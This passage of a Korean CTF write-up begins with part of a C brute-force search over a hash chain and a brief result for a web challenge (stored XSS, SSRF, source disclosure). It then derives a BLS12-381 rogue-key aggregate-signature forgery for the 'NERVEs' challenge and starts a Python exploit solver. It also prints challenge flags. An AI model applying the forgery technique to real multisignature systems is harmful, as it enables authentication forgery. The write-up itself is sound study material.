  memcpy(buf + n, op, a); n += a; buf[n++] = 0;
  for (size_t i = 0; i < b; i++) {
    if (i + 3 < b && setting[i] == '₩₩' && setting[i + 1] == 'x'
        && setting[i + 2] == '0' && setting[i + 3] == '0') {
      buf[n++] = 0; i += 3;
    } else if (i + 1 < b && setting[i] == '₩₩' && setting[i + 1] == '0') {
      buf[n++] = 0; i += 1;
    } else buf[n++] = (unsigned char)setting[i];
  }
  hash256(buf, n, out);
}

static const char *words[] = {
  "", "undefined", "null", "true", "false", "[object Object]",
  "M13", "M-13", "M13/5", "M13-l/5", "M13/5/contact", "M13/5₩₩0contact",
  "m13", "m-13", "m13/5", "contact", "CONTACT", "contact-sheet", "contact.sheet", "contact_sheet",
  "legacy", "legacy.", "legacy.contact-sheet", "abi", "abi.", "abi.n22.mount", "mount",
  "N22", "n22", "n22.mount", "afterimage", "afterimage-compat", "afterimage-envelope-v3/",
  "school", "school-lab", "school.lab", "school_lab", "lab", "school lab", "schoollab",
  "proof", "release", "unlock", "witness", "realm", "head", "glue", "step", "span",
  "cartridge", "operator", "case", "ticket", "telemetry", "nonce", "index", "sealed", "cabinet",
  "m13-operator", "m13-contact-sheet", "m13-cleaner", "projector-belt", "supply-catalog", "maintenance",
  "inventory-metadata", "case-vault", "case-vault/verify-operator", "2019.04-m13", "operatorLease",
  "M13/", "M-13/", "m13/", "M13-", "M-13-", "m13-", "M13_", "M-13_", "m13_",
  "M13.", "M-13.", "m13.", "m13:", "m13/5:", "m13/5", "contact-", "contact_", "contact.",
  "M-13/N22", "M13/N22", "ABI/N22", "legacy/", "contact/", "contact:", "M13:", "M-13:", "M13/5:",
  "frame", "film", "reel", "sheet", "contact sheet", "quick-preview", "quick_preview", "preview",
  "0","1","2","3","4","5","6","7","8","9","10","11","12","13","21","22","31","32",
  "41","42","51","52","61","62","70","71","81","82","83","91","92","99",
  "A7","A2","B2","B7","C9","C3","D4","D8","E1","E6","F8","F2","G3","G9","K6","K2","H5","H1","J0","J7",
  "7294183650"
};
static const char *glues[] = {
  "", "-", ".", ":", "/", "_", "|", ",", "+", "~", " ", "0", "00", "4", "8", "::", "//", "--",
  "undefined", "null", "₩₩0", "₩₩x00", "#", "@", "=", ";", "₩₩", "_", "M13", "M-13", "N22", "contact", "contact-
sheet",
  "[object Object]", "01", "04", "09", "13", "17", "A-01", "B-17", "C-09", "P-04", "S-00",
  "2019.04-m13", "7294183650", "glue"
};
static const char *photo[] = {
```

```
  "darkroom","negative","positive","exposure","aperture","shutter","emulsion","silver","halide","silver-halide",
  "developer","fixer","enlarge","enlarger","print","photo","photograph","image","after-image","latent","latent-
image",
  "contact-print","film-strip","filmstrip","spool","archive","midnight","exam","teacher","student","school-
computer",
  "old-school","quick","admin","administrator","secret","vault","classroom","projector","develop","developed",
  "school-darkroom","exam-vault","midnight-exam","contact-frame","legacy-frame"
};
static const char *core_realms[] = {
  "", "undefined", "contact", "CONTACT", "contact-sheet", "m13-contact-sheet", "m13-operator",
  "M13", "M-13", "m13", "M13/5", "M13-I/5", "N22", "n22", "n22.mount",
  "legacy", "legacy.contact-sheet", "abi.n22.mount", "afterimage", "afterimage-compat",
  "afterimage-envelope-v3/", "supply-catalog", "maintenance", "inventory-metadata",
  "case-vault", "case-vault/verify-operator", "school", "lab", "school-lab", "darkroom",
  "proof", "release", "unlock", "witness", "realm", "contact-print", "frame", "film", "reel"
};

typedef struct { const char *step, *glue, *head, *realm; int span; } recipe;
static volatile int sequence_found = 0;

static void check_finish(const unsigned char in[32], const recipe *r, const char *path) {
  unsigned char a[32],b[32],c[32],d[32];
  for (int fi=0;fi<2 && !sequence_found;fi++) {
    const char *F=fi?"F2":"F8"; tick(a,in,F,r->realm); tick(b,a,"G3","proof");
    for (int hi=0;hi<2;hi++) {
      const char *H=hi?"H1":"H5"; tick(c,b,H,"release"); tick(d,c,"J0","proof");
      if (!memcmp(d,goal,32)) {
        #pragma omp critical
        if (!sequence_found) {
          sequence_found=1;
          printf("FOUND span=%d step=%s glue=%s head=%s realm=%s₩n%s %s G3 H%s J0₩n",
            r->span,r->step,r->glue,r->head,r->realm,path,F,hi?"1":"5");
        }
      }
    }
  }
}

static void search_string(const unsigned char in[32], const recipe *r, int depth, const char *path) {
  check_finish(in,r,path);
  if (depth==2 || sequence_found) return;
  for (int i=0;i<2;i++) {
    const char *E=i?"E6":"E1"; unsigned char x[32]; char next[256];
    tick(x,in,E,r->head); snprintf(next,sizeof(next),"%s %s",path,E);
    search_string(x,r,depth+1,next);
  }
}

static void search_array(const unsigned char in[32], const recipe *r, int depth, const char *path) {
  for (int i=0;i<2;i++) {
    const char *D=i?"D8":"D4"; unsigned char x[32]; char next[256];
    tick(x,in,D,r->glue); snprintf(next,sizeof(next),"%s %s",path,D); search_string(x,r,0,next);
  }
  if (depth==4 || sequence_found) return;
  const char *ops[]={"B2","B7","C9","C3"};
  for (int i=0;i<4;i++) {
    unsigned char x[32]; char next[256]; const char *setting=i<2?r->step:"";
    tick(x,in,ops[i],setting); snprintf(next,sizeof(next),"%s %s",path,ops[i]);
    search_array(x,r,depth+1,next);
  }
}

typedef struct { const char *span,*step,*glue,*head,*realm; } seq_recipe;

static void sequence_finish(const unsigned char in[32], const seq_recipe *r,
                            const char **path, int depth) {
  unsigned char g[32],h[32],j[32];
  tick(g,in,"G3","proof");
  for (int hv=0;hv<2 && !sequence_found;hv++) {
    const char *H=hv?"H1":"H5";
    tick(h,g,H,"release"); tick(j,h,"J0","proof");
    if (!memcmp(j,goal,32)) {
      #pragma omp critical
      if (!sequence_found) {
        sequence_found=1;
        printf("FOUND SEQUENCE span=%s step=%s glue=%s head=%s realm=%s H=%s₩n",
          r->span,r->step,r->glue,r->head,r->realm,H);
        for (int i=0;i<depth;i++) printf("%s%s",i?" ":"",path[i]);
        printf(" G3 %s J0₩n",H);
      }
    }
  }
}

static void sequence_dfs(const unsigned char in[32], int state, int valid, int depth, int max_depth,
                         const seq_recipe *r, const char **path) {
  if (sequence_found) return;
  if (state==0 && valid && depth) sequence_finish(in,r,path,depth);
  if (depth==max_depth || sequence_found) return;
  static const char *string_ops[]={"A7","A2","E1","E6","F8","F2"};
  static const char *array_ops[]={"B2","B7","C9","C3","D4","D8"};
  const char **ops=state?array_ops:string_ops;
  for (int i=0;i<6 && !sequence_found;i++) {
    const char *op=ops[i], *setting=""; int next=state, next_valid=valid;
    if (op[0]=='A') { setting=r->span; next=1; }
    else if (op[0]=='B') setting=r->step;
    else if (op[0]=='D') { setting=r->glue; next=0; if (strcmp(op,"D4") || *setting) next_valid=0; }
    else if (op[0]=='E') { setting=r->head; if (*setting) next_valid=0; }
    else if (op[0]=='F') { setting=r->realm; next_valid=1; }
```

```
    unsigned char x[32]; tick(x,in,op,setting); path[depth]=op;
    sequence_dfs(x,next,next_valid,depth+1,max_depth,r,path);
  }
}

int main(void) {
  unsigned char initial[32];
  hash256((const unsigned char *)"M13/5₩0contact", 13, initial);
  static const unsigned char expected_initial[32] = {
    0x81,0x23,0x00,0x14,0xfa,0x52,0xa3,0xf4,0x1f,0xb1,0x6b,0xfd,0x58,0x72,0x7d,0x74,
    0x7a,0x51,0xfb,0xd2,0x68,0x01,0xc2,0xb4,0x04,0xa5,0xbd,0x9d,0xf5,0x3a,0x02,0xe0
  };
  if (memcmp(initial, expected_initial, 32)) { fputs("sha256 self-check failed₩n", stderr); return 2; }
  char steps[1024][128], heads[4096][128], tuple_values[1024][5][128], line[768];
  char role_steps[1024][128], role_glues[4096][128], role_heads[4096][128], role_realms[4096][128];
  int ns=0, nh=0, nt=0, order_mode=0, variant_mode=0, roles_mode=0;
  int nrs=0, nrg=0, nrh=0, nrr=0;
  while (fgets(line,sizeof(line),stdin)) {
    size_t n=strcspn(line,"₩r₩n"); line[n]=0;
    if (!strcmp(line,"ORDER")) { order_mode=1; continue; }
    if (!strcmp(line,"VARIANT")) { variant_mode=1; continue; }
    if (!strcmp(line,"ROLES")) { roles_mode=1; continue; }
    if (!strncmp(line,"B:",2)) { if (nrs<1024) strcpy(role_steps[nrs++],line+2); continue; }
    if (!strncmp(line,"D:",2)) { if (nrg<4096) strcpy(role_glues[nrg++],line+2); continue; }
    if (!strncmp(line,"E:",2)) { if (nrh<4096) strcpy(role_heads[nrh++],line+2); continue; }
    if (!strncmp(line,"F:",2)) { if (nrr<4096) strcpy(role_realms[nrr++],line+2); continue; }
    if (!strncmp(line,"T:",2) && nt<1024) {
      char *cursor=line+2;
      for (int k=0;k<5;k++) {
        char *part=strsep(&cursor,"|");
        snprintf(tuple_values[nt][k],sizeof(tuple_values[nt][k]),"%s",part?part:"");
      }
      nt++;
      continue;
    }
    if (n>=sizeof(steps[0])-1) continue;
    if (!strncmp(line,"S:",2)) { if (ns<1024) strcpy(steps[ns++],line+2); }
    else if (!strncmp(line,"H:",2)) { if (nh<4096) strcpy(heads[nh++],line+2); }
    else {
      if (ns<1024) strcpy(steps[ns++],line);
      if (nh<4096) strcpy(heads[nh++],line);
    }
  }
  if (!ns) { strcpy(steps[ns++],""); strcpy(steps[ns++],"13"); }
  if (!nh) { strcpy(heads[nh++],""); strcpy(heads[nh++],"contact"); }
  static const char *builtin_role_realms[] = {
    "", "undefined", "null", "true", "false", "[object Object]",
    "contact", "CONTACT", "contact-sheet", "contact sheet", "m13-contact-sheet", "m13-operator",
    "M13", "M-13", "m13", "M13/5", "M13-I/5", "N22", "n22", "n22.mount",
    "legacy", "legacy.contact-sheet", "abi.n22.mount", "afterimage", "afterimage-compat",
    "afterimage-envelope-v3/", "supply-catalog", "maintenance", "inventory-metadata",
    "case-vault", "case-vault/verify-operator", "school", "lab", "school-lab", "darkroom",
    "proof", "release", "unlock", "witness", "realm", "contact-print", "frame", "film", "reel",
    "2019", "2019.04", "2019.04-", "2019.04-m13", "operator lease", "operatorLease",
    "operatorId", "caseBoardId", "inventoryReceipt", "transferEnvelope", "catalog", "revision",
    "zone", "authentication", "m13-cleaner", "projector-belt", "stock", "restricted"
    , "₩₩x00", "unlock₩₩x00", "witness₩₩x00", "contact₩₩x00", "M13/5₩₩x00contact"
  };
  if (roles_mode) {
    if (!nrs || !nrg || !nrh || !nrr) {
      fprintf(stderr,"ROLES requires B:/D:/E:/F: candidates₩n"); return 2;
    }
    const long long outer_total=7LL*nrs*nrg*nrh;
    double start=omp_get_wtime();
    #pragma omp parallel for schedule(dynamic,1)
    for (long long outer=0;outer<outer_total;outer++) {
      if (sequence_found) continue;
      long long z=outer;
      int hi=z%nrh; z/=nrh; int gi=z%nrg; z/=nrg; int si=z%nrs; z/=nrs;
      int span=(int)(z%7)+2; char abuf[4]; snprintf(abuf,sizeof(abuf),"%d",span);
      unsigned char q[9][32];
      tick(q[0],initial,"A7",abuf); tick(q[1],q[0],"B2",role_steps[si]);
      tick(q[2],q[1],"C9",""); tick(q[3],q[2],"D4",role_glues[gi]);
      tick(q[4],q[3],"E1",role_heads[hi]);
      for (int ri=0;ri<nrr && !sequence_found;ri++) {
        tick(q[5],q[4],"F8",role_realms[ri]); tick(q[6],q[5],"G3","proof");
        tick(q[7],q[6],"H5","release"); tick(q[8],q[7],"J0","proof");
        if (!memcmp(q[8],goal,32)) {
          #pragma omp critical
          if (!sequence_found) {
            sequence_found=1;
            printf("FOUND ROLES span=%d step=[%s] glue=[%s] head=[%s] realm=[%s]₩n",
              span,role_steps[si],role_glues[gi],role_heads[hi],role_realms[ri]);
          }
        }
      }
    }
    printf("done roles outer=%lld candidates=%d/%d/%d/%d seconds=%.3f found=%d₩n",
      outer_total,nrs,nrg,nrh,nrr,omp_get_wtime()-start,sequence_found);
    return sequence_found?0:1;
  }
  if (nt) {
    double start=omp_get_wtime();
    #pragma omp parallel for schedule(dynamic,1)
    for (int ti=0;ti<nt;ti++) {
      if (sequence_found) continue;
      seq_recipe r={tuple_values[ti][0],tuple_values[ti][1],tuple_values[ti][2],tuple_values[ti][3],tuple_values[
ti][4]};
      const char *path[16]={0};
```

```
      sequence_dfs(initial,0,0,0,8,&r,path);
    }
    printf("done tuples=%d maxdepth=8 seconds=%.3f found=%d₩n",nt,omp_get_wtime()-start,sequence_found);
    return sequence_found?0:1;
  }
  if (variant_mode) {
    const long long total=7LL*ns*nh*nh;
    double start=omp_get_wtime();
    #pragma omp parallel for schedule(dynamic,1)
    for (long long outer=0;outer<total;outer++) {
      if (sequence_found) continue;
      long long z=outer;
      int hi=z%nh;z/=nh; int gi=z%nh;z/=nh; int si=z%ns;z/=ns;
      int span=(int)(z%7)+2; char abuf[4]; snprintf(abuf,sizeof(abuf),"%d",span);
      for (int ri=0;ri<nh&&!sequence_found;ri++) for (int v=0;v<128&&!sequence_found;v++) {
        const char *A=(v&1)?"A2":"A7",*B=(v&2)?"B7":"B2",*C=(v&4)?"C3":"C9";
        const char *D=(v&8)?"D8":"D4",*E=(v&16)?"E6":"E1",*F=(v&32)?"F2":"F8",*H=(v&64)?"H1":"H5";
        unsigned char q[10][32];
        tick(q[0],initial,A,abuf);tick(q[1],q[0],B,steps[si]);tick(q[2],q[1],C,"");
        tick(q[3],q[2],D,heads[gi]);tick(q[4],q[3],E,heads[hi]);tick(q[5],q[4],F,heads[ri]);
        tick(q[6],q[5],"G3","proof");tick(q[7],q[6],H,"release");tick(q[8],q[7],"J0","proof");
        if (!memcmp(q[8],goal,32)) {
          #pragma omp critical
          if (!sequence_found) {sequence_found=1;printf("FOUND VARIANT=%d span=%d step=%s glue=%s head=%s realm=%s
ops=%s %s %s %s %s %s G3 %s J0₩n",v,span,steps[si],heads[gi],heads[hi],heads[ri],A,B,C,D,E,F,H);}
        }
      }
    }
    printf("done variant-mode outer=%lld seconds=%.3f found=%d₩n",total,omp_get_wtime()-start,sequence_found);
    return sequence_found?0:1;
  }
  if (order_mode) {
    static const char *orders[]={"ABCDEF","ABCDFE","ACBDEF","ACBDFE","EABCDF","EACBDF","EFABCD","EFACBD","FABCDE",
"FACBDE","FEABCD","FEACBD"};
    const long long total=7LL*ns*nh*nh;
    double start=omp_get_wtime();
    #pragma omp parallel for schedule(dynamic,1)
    for (long long outer=0;outer<total;outer++) {
      if (sequence_found) continue;
      long long z=outer;
      int hi=z%nh;z/=nh; int gi=z%nh;z/=nh; int si=z%ns;z/=ns;
      int span=(int)(z%7)+2; char abuf[4]; snprintf(abuf,sizeof(abuf),"%d",span);
      for (int ri=0;ri<nh&&!sequence_found;ri++) for (int oi=0;oi<12&&!sequence_found;oi++) {
        unsigned char q[10][32]; const unsigned char *cur=initial; int n=0;
        for (const char *p=orders[oi];*p;p++) {
          const char *op="",*setting="";
          if (*p=='A') {op="A7";setting=abuf;} else if (*p=='B') {op="B2";setting=steps[si];}
          else if (*p=='C') op="C9"; else if (*p=='D') {op="D4";setting=heads[gi];}
          else if (*p=='E') {op="E1";setting=heads[hi];} else {op="F8";setting=heads[ri];}
          tick(q[n],cur,op,setting);cur=q[n++];
        }
        tick(q[n],cur,"G3","proof");cur=q[n++]; tick(q[n],cur,"H5","release");cur=q[n++]; tick(q[n],cur,"J0",
"proof");cur=q[n++];
        if (!memcmp(cur,goal,32)) {
          #pragma omp critical
          if (!sequence_found) {sequence_found=1;printf("FOUND ORDER=%s span=%d step=%s glue=%s head=%s realm=%s₩n",
orders[oi],span,steps[si],heads[gi],heads[hi],heads[ri]);}
        }
      }
    }
    printf("done order-mode outer=%lld seconds=%.3f found=%d₩n",total,omp_get_wtime()-start,sequence_found);
    return sequence_found?0:1;
  }
  const long long total = 7LL*ns*ns*ns;
  double start = omp_get_wtime();
  #pragma omp parallel for schedule(dynamic,1)
  for (long long outer = 0; outer < total; outer++) {
    if (sequence_found) continue;
    long long z = outer;
    int hi = z % ns; z /= ns;
    int gi = z % ns; z /= ns;
    int si = z % ns; z /= ns;
    int span = (int)(z % 7)+2; char abuf[4]; snprintf(abuf,sizeof(abuf),"%d",span);
    unsigned char q[10][32];
    tick(q[0],initial,"A7",abuf);
    tick(q[1],q[0],"B2",steps[si]); tick(q[2],q[1],"C9","");
    tick(q[3],q[2],"D4",steps[gi]); tick(q[4],q[3],"E1",steps[hi]);
    for (int ri=0;ri<ns && !sequence_found;ri++) {
      tick(q[5],q[4],"F8",steps[ri]); tick(q[6],q[5],"G3","proof");
      tick(q[7],q[6],"H5","release"); tick(q[8],q[7],"J0","proof");
      if (!memcmp(q[8],goal,32)) {
        #pragma omp critical
        if (!sequence_found) {
          sequence_found=1;
          printf("FOUND NATURAL span=%d step=%s glue=%s head=%s realm=%s₩n",
            span,steps[si],steps[gi],steps[hi],steps[ri]);
        }
      }
    }
  }
  printf("done recipes=%lld seconds=%.3f found=%d₩n",total,omp_get_wtime()-start,sequence_found);
  return sequence_found ? 0 : 1;
}
```

재현 결과

저장 XSS, 관리자 봇, 내부 SSRF, operator lease, source disclosure와 cabinet/unseal 흐름을 거쳐 플래그를 획득했다.

FLAG: msgctf2026{l0g_m3_0ut_0f_h3r3}

07. NERVEs

분야	Crypto
상태	완료

풀이 과정

NERVEs 풀이

1. nerves-check에서 복구한 최종 키

각 원본 멤버를 (position, slot_id, flags, P_i)라고 하자. 바이너리는 두 단계의 가중치를 만든다.

코드 블록 (text)

```
bucket_i = low14(SHA256(BUCKET || context || slot_id || P_i))
tag_i    = bucket_i | (flags_i << 14)

rtag = SHA256(ROSTER-TAG || session || context || 05 || records)[31] & 3
w_i  = reduce(SHA256(ROSTER-WEIGHT || context || slot_id || tag_i || rtag))
A    = sum(w_i P_i)

ktag = SHA256(KEY-TAG || session || context || rtag || compress(A))[31] & 31
v_i  = reduce(SHA256(WEIGHT || context || slot_id || tag_i || rtag || ktag))
B    = sum(v_i P_i)
```

여기서 reduce(x) = (integer(x) mod (r-1)) + 1이다. 중요한 부분은 최종 검증 키가 B가 아니라 다음 값이라는 점이다.

코드 블록 (text)

```
K = A + phi(B)
```

BLS12-381 G1 부분군에서 바이너리의 endomorphism은 phi(P) = lambda P이고,

코드 블록 (text)

```
lambda = -(0xd201000000010000)^2 mod r
k_i    = w_i + lambda v_i mod r
K      = sum(k_i P_i)
```

이다.

2. 일곱 영수증에서 위원회 서명 복구

정직한 비밀키를 x_0, ..., x_3이라 하면 ATTEST의 영수증은 다음 다항식의 평가값이다.

코드 블록 (text)

```
F(X) = sum(x_i X^i H0, i=0..3) + sum(x_i X^(i+4) H1, i=0..3)
T_j  = F(q^(j+1)), j=0..6
```

p_q(X) = product(X-q^j, j=1..7) = sum(f_i X^i)라 하자. 목표 계수 (d_0,d_1,d_2,d_3,0,0,0,0)가 일곱 평가 행의 span에 들어갈 조건은

코드 블록 (text)

```
sum(d_i f_i, i=0..3) = 0
```

이다. 이는 q에 대한 낮은 차수 다항식이므로 유한체에서 인수분해하여 0이 아닌 근을 고를 수 있다. 그 q로 ATTEST한 뒤 Vandermonde 선형계를 풀면

코드 블록 (text)

```
C = sum(d_i x_i) H0
```

를 얻는다.

3. Binding receipt와 rogue key

정직한 멤버만으로 만든 최종 키를

코드 블록 (text)

```
K_h = sum(k_i P_i, i=0..3),  sk(K_h) = sum(k_i x_i)
```

라 하면 서버가 주는 R은 다음 관계를 만족한다.

코드 블록 (text)

```
e(K_h, C) = e(G, R)
R = sk(K_h) * sk(C) * H0
```

공격자 최종 가중치를 k_a라고 할 때 공개키를 다음 고정점으로 만든다.

코드 블록 (text)

```
P_a = yG - K_h / k_a
```

그러면 전체 최종 키에서 미지의 정직한 키가 사라진다.

코드 블록 (text)

```
K = K_h + k_a P_a = k_a y G
```

k_a와 K_h는 공격자 키의 bucket, rtag, ktag에 의존하지만 이 상태는 각각 14, 2, 5비트뿐이다. 세 값을 0으로 가정한 뒤 y를 증가시키며 공개키를 계산하고 실제 값이 가정과 모두 일치하는지 검사한다. 후보 하나가 맞을 확률은 2^-21이므로 평균 약 200만 번이면 고정점을 찾는다.

4. 최종 위조식

고정점 공개키에 대해

코드 블록 (text)

```
P_a * C = yC - R/k_a
```

이므로 aggregate signature를 다음처럼 만든다.

코드 블록 (text)

```
Agg = k_a y H0 - yC + R/k_a
```

따라서 서버의 두 검증식이 모두 성립한다.

코드 블록 (text)

```
e(D,H0) = e(G,C)
e(K,H0) = e(G,Agg) * e(P_a,C)
```

실행 결과:

코드 블록 (text)

```
msgctf2026{ptXpeuVtNRASYUz2FrWuP3pWv}
```

솔버 실행:

코드 블록 (bash)

```
python3 -m pip install py-ecc requests sympy
python3 solve.py self-test
python3 solve.py solve 'https://CHALLENGE-HOST'
```

익스플로잇 코드 / 분석 코드 전체

전체 파일: NERVEs_solve.py · 992 lines · SHA-256 2202c1668b2ffeda725fde35faf780e1ec4b3ce822a6e2048452aab3b0705e8c

```
#!/usr/bin/env python3
"""Solver and local derivation code for NERVEs Protocol v1.

Dependencies:
    python3 -m pip install py-ecc requests

The network client intentionally uses only the field names documented in
protocol.md plus a few harmless aliases.  Use ``--dump`` if the service uses
different names; all stage responses are then printed as JSON.
"""

from __future__ import annotations

import argparse
import concurrent.futures
import hashlib
import json
import multiprocessing
import secrets
import subprocess
import threading
from dataclasses import dataclass
from pathlib import Path
from typing import Any, Iterable

import requests
from py_ecc.bls.hash_to_curve import hash_to_G2
from py_ecc.bls.point_compression import (
    compress_G1,
    compress_G2,
    decompress_G1,
    decompress_G2,
)
from py_ecc.optimized_bls12_381 import G1, Z1, add, eq, is_inf, multiply, pairing
from py_ecc.optimized_bls12_381.optimized_curve import curve_order

COMMIT_DOMAIN = b"MSGCTF/ROSTER-SEAL/V1/COMMIT"
```

```
ROSTER_DOMAIN = b"MSGCTF/ROSTER-SEAL/V1/ROSTER"
FINAL_MESSAGE_DOMAIN = b"MSGCTF/ROSTER-SEAL/V1/FINAL-MESSAGE"
BASIC_NUL_DST = b"BLS_SIG_BLS12381G2_XMD:SHA-256_SSWU_RO_NUL_"

# Domains recovered from nerves-check.
BUCKET_DOMAIN = b"MSGCTF/ROSTER-SEAL/V1/BUCKET"
ROSTER_TAG_DOMAIN = b"MSGCTF/ROSTER-SEAL/V1/ROSTER-TAG"
ROSTER_WEIGHT_DOMAIN = b"MSGCTF/ROSTER-SEAL/V1/ROSTER-WEIGHT"
KEY_TAG_DOMAIN = b"MSGCTF/ROSTER-SEAL/V1/KEY-TAG"
WEIGHT_DOMAIN = b"MSGCTF/ROSTER-SEAL/V1/WEIGHT"

G1_COMPRESSED = int(compress_G1(G1)).to_bytes(48, "big")

# For BLS12-381 G1, the efficiently-computable endomorphism used by the
# reference checker is phi(P) = LAMBDA * P.  The checker deliberately makes
# the final verification key A + phi(B), rather than merely B.
BLS_X_ABS = 0xD201000000010000
G1_ENDOMORPHISM_LAMBDA = (-(BLS_X_ABS**2)) % curve_order


def H(*parts: bytes) -> bytes:
    h = hashlib.sha256()
    for part in parts:
        h.update(part)
    return h.digest()


def scalar_bytes(value: int) -> bytes:
    if not 0 <= value < curve_order:
        raise ValueError("non-canonical BLS scalar")
    return value.to_bytes(32, "big")


def checker_scalar(digest: bytes) -> int:
    """Match nerves-check's unusual range reduction exactly.

    The binary subtracts the constant r-1 and then increments, so this is
    *not* the more usual ``digest mod r`` conversion.
    """

    return int.from_bytes(digest, "big") % (curve_order - 1) + 1


def choose_receipt_query(target: list[int]) -> int:
    """Choose q so (target[0:4], 0,0,0,0) is spanned by 7 receipts."""

    import sympy as sp

    q, x = sp.symbols("q x")
    annihilator = sp.expand(sp.prod(x - q**j for j in range(1, 8)))
    condition = sum(target[k] * annihilator.coeff(x, k) for k in range(4))
    # Every term has q^10; q=0 itself is forbidden by the protocol.
    polynomial = sp.Poly(sp.cancel(condition / q**10), q, modulus=curve_order)
    for factor, _multiplicity in sp.factor_list(
        polynomial, modulus=curve_order
    )[1]:
        if factor.degree() != 1:
            continue
        a, b = map(int, factor.all_coeffs())
        root = (-b * pow(a, -1, curve_order)) % curve_order
        points = [pow(root, j, curve_order) for j in range(1, 8)]
        if root and len(set(points)) == 7:
            return root
    raise ValueError("the receipt-span condition had no usable field root")


def solve_square_mod(matrix: list[list[int]], vector: list[int]) -> list[int]:
    n = len(vector)
    rows = [
        [entry % curve_order for entry in row] + [value % curve_order]
        for row, value in zip(matrix, vector, strict=True)
    ]
    for column in range(n):
        pivot = next(
            (row for row in range(column, n) if rows[row][column]), None
        )
        if pivot is None:
            raise ValueError("singular receipt matrix")
        rows[column], rows[pivot] = rows[pivot], rows[column]
        scale = pow(rows[column][column], -1, curve_order)
        rows[column] = [(value * scale) % curve_order for value in rows[column]]
        for row in range(n):
            if row == column:
                continue
            scale = rows[row][column]
            rows[row] = [
                (left - scale * right) % curve_order
                for left, right in zip(rows[row], rows[column], strict=True)
            ]
    return [rows[row][-1] for row in range(n)]


def combine_receipts(receipts: list[Any], q: int, target: list[int]):
    """Recover sum(target_i * sk_i * H0) from the seven T_j points."""

    if len(receipts) != 7 or len(target) != 4:
        raise ValueError("expected seven receipts and four target coefficients")
    evaluation_points = [pow(q, j, curve_order) for j in range(1, 8)]
    matrix = [
```

```
        [pow(point, degree, curve_order) for point in evaluation_points]
        for degree in range(7)
    ]
    lambdas = solve_square_mod(matrix, target + [0, 0, 0])
    result = multiply(receipts[0], 0)
    for coefficient, receipt in zip(lambdas, receipts, strict=True):
        result = add(result, multiply(receipt, coefficient))
    # The degree-7 coordinate is the one enforced by choose_receipt_query().
    degree_seven = sum(
        coefficient * pow(point, 7, curve_order)
        for coefficient, point in zip(lambdas, evaluation_points, strict=True)
    ) % curve_order
    if degree_seven:
        raise ValueError("chosen q did not eliminate the H1 receipt component")
    return result


def receipt_row(q: int, receipt_index: int) -> list[int]:
    exponent = receipt_index + 1
    return [
        pow(q, exponent * coefficient_index, curve_order)
        for coefficient_index in range(8)
    ]


def select_independent_rows(rows: list[list[int]], count: int) -> list[int]:
    basis: dict[int, list[int]] = {}
    selected: list[int] = []
    for index, original in enumerate(rows):
        row = [value % curve_order for value in original]
        for pivot in sorted(basis):
            if row[pivot]:
                scale = row[pivot]
                row = [
                    (left - scale * right) % curve_order
                    for left, right in zip(row, basis[pivot], strict=True)
                ]
        pivot = next((i for i, value in enumerate(row) if value), None)
        if pivot is None:
            continue
        inverse = pow(row[pivot], -1, curve_order)
        row = [(value * inverse) % curve_order for value in row]
        basis[pivot] = row
        selected.append(index)
        if len(selected) == count:
            return selected
    raise ValueError(f"only found {len(selected)} independent receipt rows")


def combine_general_receipts(
    samples: list[tuple[int, int, Any]], target: list[int]
):
    """Combine receipts from one or more q values for an 8-coordinate target."""

    if len(target) != 8:
        raise ValueError("receipt target must have eight coordinates")
    rows = [receipt_row(q, index) for q, index, _point in samples]
    selected = select_independent_rows(rows, 8)
    chosen_rows = [rows[index] for index in selected]
    # sum(lambda_j * row_j) = target
    transpose = [
        [chosen_rows[column][row] for column in range(8)] for row in range(8)
    ]
    lambdas = solve_square_mod(transpose, target)
    result = multiply(samples[selected[0]][2], 0)
    for coefficient, sample_index in zip(lambdas, selected, strict=True):
        result = add(result, multiply(samples[sample_index][2], coefficient))
    return result


def decode_g1(data: bytes):
    if len(data) != 48:
        raise ValueError(f"compressed G1 must be 48 bytes, got {len(data)}")
    return decompress_G1(int.from_bytes(data, "big"))


def encode_g1(point) -> bytes:
    return int(compress_G1(point)).to_bytes(48, "big")


def decode_g2(data: bytes):
    if len(data) != 96:
        raise ValueError(f"compressed G2 must be 96 bytes, got {len(data)}")
    return decompress_G2(
        (int.from_bytes(data[:48], "big"), int.from_bytes(data[48:], "big"))
    )


def encode_g2(point) -> bytes:
    z1, z2 = compress_G2(point)
    return int(z1).to_bytes(48, "big") + int(z2).to_bytes(48, "big")


@dataclass(frozen=True)
class RawMember:
    position: int
    slot_id: int
    flags: int
    public_key: bytes
```

```
    def __post_init__(self) -> None:
        if not 0 <= self.position <= 0xFF:
            raise ValueError("position does not fit in u8")
        if not 0 <= self.slot_id <= 0xFFFFFFFF:
            raise ValueError("slot_id does not fit in u32")
        if not 0 <= self.flags <= 3:
            raise ValueError("flags must be in [0, 3]")
        if len(self.public_key) != 48:
            raise ValueError("public key must be compressed G1")

    @property
    def slot_bytes(self) -> bytes:
        return self.slot_id.to_bytes(4, "big")

    def raw(self) -> bytes:
        return (
            bytes((self.position,))
            + self.slot_bytes
            + bytes((self.flags,))
            + self.public_key
        )


@dataclass
class Roster:
    records: list[bytes]
    buckets: list[int]
    tags: list[int]
    roster_tag: int
    first_weights: list[int]
    first_key: Any
    key_tag: int
    weights: list[int]
    verification_key: Any
    final_weights: list[int]
    final_key: Any
    final_roster_hash: bytes
def aggregate(members: list[RawMember], weights: list[int]):
    point = Z1
    for member, weight in zip(members, weights, strict=True):
        point = add(point, multiply(decode_g1(member.public_key), weight))
    if is_inf(point):
        raise ValueError("derived aggregate key is the identity")
    return point


def derive_roster(session_id: bytes, context: bytes, members: list[RawMember]) -> Roster:
    if len(session_id) != 32 or len(context) != 32:
        raise ValueError("session_id and context must be 32 bytes")
    if len(members) != 5:
        raise ValueError("the roster must contain exactly five members")
    if [m.position for m in members] != list(range(5)):
        raise ValueError("members must be ordered at positions 0 through 4")

    records: list[bytes] = []
    buckets: list[int] = []
    tags: list[int] = []
    for member in members:
        digest = H(BUCKET_DOMAIN, context, member.slot_bytes, member.public_key)
        bucket = int.from_bytes(digest[-2:], "big") & 0x3FFF
        tag = bucket | (member.flags << 14)
        buckets.append(bucket)
        tags.append(tag)
        records.append(
            bytes((member.position,))
            + member.slot_bytes
            + bytes((member.flags,))
            + tag.to_bytes(2, "big")
            + member.public_key
        )

    roster_tag = H(
        ROSTER_TAG_DOMAIN,
        session_id,
        context,
        b"₩x05",
        b"".join(records),
    )[-1] & 3

    first_weights = [
        checker_scalar(
            H(
                ROSTER_WEIGHT_DOMAIN,
                context,
                member.slot_bytes,
                tag.to_bytes(2, "big"),
                bytes((roster_tag,)),
            )
        )
